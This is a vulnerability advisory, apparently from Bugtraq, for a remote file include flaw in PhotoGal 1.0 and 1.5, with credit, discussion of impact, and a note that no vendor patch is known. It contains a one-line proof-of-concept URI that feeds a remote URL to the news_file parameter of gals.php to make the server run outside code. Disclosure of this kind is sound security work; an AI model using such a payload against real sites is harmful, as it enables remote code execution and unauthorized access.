PhotoGal News_File Remote File Include Vulnerability

BID:14190

Info

PhotoGal News_File Remote File Include Vulnerability

Bugtraq ID: 14190
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 07 2005 12:00AM
Updated: Jul 07 2005 12:00AM
Credit: Credit is given to skdaemon porra <[email protected]> for the discovery of this vulnerability.
Vulnerable: PhotoGal PhotoGal 1.5
PhotoGal PhotoGal 1.0
Not Vulnerable:

Discussion

PhotoGal News_File Remote File Include Vulnerability

PhotoGal is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of this issue will allow an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Reports indicate that this issue may have been addressed in version 1.0, but this has not been confirmed.

Exploit / POC

PhotoGal News_File Remote File Include Vulnerability

No exploit is required.

The following proof of concept URI is available:
http://www.example.com/[path_to_photogal]/ops/gals.php?news_file=http://www.example.com

Solution / Fix

PhotoGal News_File Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PhotoGal News_File Remote File Include Vulnerability

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